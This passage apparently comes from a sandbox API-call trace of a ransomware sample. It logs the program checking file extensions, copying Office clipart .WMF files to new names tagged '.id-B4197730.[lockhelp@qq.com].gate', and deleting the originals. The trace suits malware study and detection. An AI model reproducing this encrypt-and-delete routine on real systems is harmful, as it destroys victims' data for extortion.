"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0295.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0295.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0295.828] lstrlenW (lpString=".doc") returned 4 [0295.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.829] lstrlenW (lpString=".docx") returned 5 [0295.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.829] lstrlenW (lpString=".pdf") returned 4 [0295.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.829] lstrlenW (lpString=".xls") returned 4 [0295.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.829] lstrlenW (lpString=".xlsx") returned 5 [0295.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.829] lstrlenW (lpString=".ppt") returned 4 [0295.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0295.829] lstrlenW (lpString=".zip") returned 4 [0295.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.829] lstrlenW (lpString=".rar") returned 4 [0295.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.829] lstrlenW (lpString=".bz2") returned 4 [0295.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.829] lstrlenW (lpString=".7z") returned 3 [0295.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0295.829] lstrlenW (lpString=".dbf") returned 4 [0295.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0295.829] lstrlenW (lpString=".1cd") returned 4 [0295.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0295.829] lstrlenW (lpString=".jpg") returned 4 [0295.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.830] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=14194) returned 1 [0295.830] CloseHandle (hObject=0x4b0) returned 1 [0295.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0295.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0295.830] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.830] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0295.831] GetLastError () returned 0x0 [0295.831] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x3772, lpOverlapped=0x0) returned 1 [0296.191] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x3780, lpOverlapped=0x0) returned 1 [0296.192] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.192] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.192] SetEndOfFile (hFile=0x4c4) returned 1 [0296.193] CloseHandle (hObject=0x4c4) returned 1 [0296.193] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.193] SetEndOfFile (hFile=0x4b0) returned 1 [0296.242] CloseHandle (hObject=0x4b0) returned 1 [0296.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0296.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0296.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0296.243] lstrlenW (lpString=".doc") returned 4 [0296.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.243] lstrlenW (lpString=".docx") returned 5 [0296.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.243] lstrlenW (lpString=".pdf") returned 4 [0296.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.243] lstrlenW (lpString=".xls") returned 4 [0296.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.243] lstrlenW (lpString=".xlsx") returned 5 [0296.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.243] lstrlenW (lpString=".ppt") returned 4 [0296.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0296.243] lstrlenW (lpString=".zip") returned 4 [0296.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.243] lstrlenW (lpString=".rar") returned 4 [0296.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.243] lstrlenW (lpString=".bz2") returned 4 [0296.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.243] lstrlenW (lpString=".7z") returned 3 [0296.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0296.243] lstrlenW (lpString=".dbf") returned 4 [0296.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0296.244] lstrlenW (lpString=".1cd") returned 4 [0296.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0296.244] lstrlenW (lpString=".jpg") returned 4 [0296.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.244] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=46814) returned 1 [0296.244] CloseHandle (hObject=0x4b0) returned 1 [0296.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220 [0296.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0296.245] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.245] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0296.245] GetLastError () returned 0x0 [0296.245] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xb6de, lpOverlapped=0x0) returned 1 [0296.385] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xb6e0, lpOverlapped=0x0) returned 1 [0296.387] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.387] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.387] SetEndOfFile (hFile=0x4f8) returned 1 [0296.390] CloseHandle (hObject=0x4f8) returned 1 [0296.404] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.404] SetEndOfFile (hFile=0x4b0) returned 1 [0296.445] CloseHandle (hObject=0x4b0) returned 1 [0296.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0296.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0296.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0296.961] lstrlenW (lpString=".doc") returned 4 [0296.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.961] lstrlenW (lpString=".docx") returned 5 [0296.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.961] lstrlenW (lpString=".pdf") returned 4 [0296.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.961] lstrlenW (lpString=".xls") returned 4 [0296.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.961] lstrlenW (lpString=".xlsx") returned 5 [0296.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.961] lstrlenW (lpString=".ppt") returned 4 [0296.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0296.961] lstrlenW (lpString=".zip") returned 4 [0296.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.961] lstrlenW (lpString=".rar") returned 4 [0296.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.961] lstrlenW (lpString=".bz2") returned 4 [0296.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.961] lstrlenW (lpString=".7z") returned 3 [0296.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0296.962] lstrlenW (lpString=".dbf") returned 4 [0296.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0296.962] lstrlenW (lpString=".1cd") returned 4 [0296.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0296.962] lstrlenW (lpString=".jpg") returned 4 [0296.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.976] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=16396) returned 1 [0296.976] CloseHandle (hObject=0x4f8) returned 1 [0296.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220 [0296.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0296.980] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.980] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0296.982] GetLastError () returned 0x0 [0296.982] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x400c, lpOverlapped=0x0) returned 1 [0297.176] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x4010, lpOverlapped=0x0) returned 1 [0297.631] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.632] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.632] SetEndOfFile (hFile=0x52c) returned 1 [0297.632] CloseHandle (hObject=0x52c) returned 1 [0297.632] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.632] SetEndOfFile (hFile=0x4f8) returned 1 [0297.635] CloseHandle (hObject=0x4f8) returned 1 [0297.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0297.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0297.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0297.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0297.636] lstrlenW (lpString=".doc") returned 4 [0297.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.636] lstrlenW (lpString=".docx") returned 5 [0297.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.636] lstrlenW (lpString=".pdf") returned 4 [0297.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.636] lstrlenW (lpString=".xls") returned 4 [0297.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.636] lstrlenW (lpString=".xlsx") returned 5 [0297.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.637] lstrlenW (lpString=".ppt") returned 4 [0297.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0297.637] lstrlenW (lpString=".zip") returned 4 [0297.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.637] lstrlenW (lpString=".rar") returned 4 [0297.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.637] lstrlenW (lpString=".bz2") returned 4 [0297.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.637] lstrlenW (lpString=".7z") returned 3 [0297.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0297.637] lstrlenW (lpString=".dbf") returned 4 [0297.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0297.637] lstrlenW (lpString=".1cd") returned 4 [0297.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0297.637] lstrlenW (lpString=".jpg") returned 4 [0297.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.638] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=5098) returned 1 [0297.638] CloseHandle (hObject=0x4f8) returned 1 [0297.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220 [0297.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0297.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0297.639] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.639] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0297.641] GetLastError () returned 0x0 [0297.641] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x13ea, lpOverlapped=0x0) returned 1 [0297.788] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x13f0, lpOverlapped=0x0) returned 1 [0297.789] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.790] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.790] SetEndOfFile (hFile=0x52c) returned 1 [0298.232] CloseHandle (hObject=0x52c) returned 1 [0298.232] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.233] SetEndOfFile (hFile=0x4f8) returned 1 [0298.264] CloseHandle (hObject=0x4f8) returned 1 [0298.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0298.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0298.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.265] lstrlenW (lpString=".doc") returned 4 [0298.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.265] lstrlenW (lpString=".docx") returned 5 [0298.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.265] lstrlenW (lpString=".pdf") returned 4 [0298.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.265] lstrlenW (lpString=".xls") returned 4 [0298.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.265] lstrlenW (lpString=".xlsx") returned 5 [0298.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.265] lstrlenW (lpString=".ppt") returned 4 [0298.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.265] lstrlenW (lpString=".zip") returned 4 [0298.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.265] lstrlenW (lpString=".rar") returned 4 [0298.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.265] lstrlenW (lpString=".bz2") returned 4 [0298.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.265] lstrlenW (lpString=".7z") returned 3 [0298.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.265] lstrlenW (lpString=".dbf") returned 4 [0298.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.266] lstrlenW (lpString=".1cd") returned 4 [0298.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.266] lstrlenW (lpString=".jpg") returned 4 [0298.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.266] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1472) returned 1 [0298.266] CloseHandle (hObject=0x4f8) returned 1 [0298.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program 